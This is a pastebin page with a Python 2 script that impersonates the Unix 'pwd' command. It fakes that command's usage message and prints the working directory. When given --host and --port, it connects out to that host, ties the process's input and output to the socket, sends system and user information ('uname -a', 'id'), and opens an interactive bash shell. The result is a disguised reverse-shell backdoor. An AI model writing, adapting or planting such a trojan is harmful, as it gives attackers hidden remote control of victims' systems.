Welcome, guest! Login / Register - Why register?
Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)

Paste

Pasted as Python by T7~ ( 14 years ago )
#!/usr/bin/env pyhton
#--------------------------------
# TName : pwd
# Pro   : T7~  <KSA>
# Email : [email protected]
#---------------------------------

import os
import sys
import socket as so
import subprocess
SHELL = "/bin/bash -i"

#
#
def cmd&#40;c&#41;:
    p = subprocess.Popen(c, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
    m = p.stdout.read()
    return m

def tt():
    try:
        return sys.argv[1]
    except:return ''
#
#

#
def usage():
    print "bash: pwd: -d: invalid option %s\n\
pwd: usage: pwd [-LP]"%tt()
    sys.exit()
#



for arg in sys.argv:
    if arg =='--host':
        host = sys.argv[sys.argv.index(arg)+1]
    elif arg =='--port':
        port = int(sys.argv[sys.argv.index(arg)+1])
try:
    if sys.argv[1]:
        if sys.argv[1] not in ('-LP','-PL','-P','-L','--host'):
            usage()
except Exception,e:
    pass
    

try:
    if host and port:
        sock = so.socket(so.AF_INET,so.SOCK_STREAM)
        sock.connect((host,port))
        try:
            os.dup2(sock.fileno(), 0)
            os.dup2(sock.fileno(), 1)
            os.dup2(sock.fileno(), 2)
            sock.send(cmd&#40;'clear'&#41;)
            sock.send('---------------------------------- Uname -a -------------------------------------')
            sock.send(cmd&#40;'uname -a'&#41;)
            sock.send('------------------------------------ id -----------------------------------------')
            sock.send(cmd&#40;'id'&#41;)
            sock.send('---------------------------------------------------------------------------------')
            os.system&#40;SHELL&#41;
        except:
                pass
        finally:
                sock.close()      
except:
    pass





print os.getcwd()

 

Revise this Paste

Your Name: Code Language: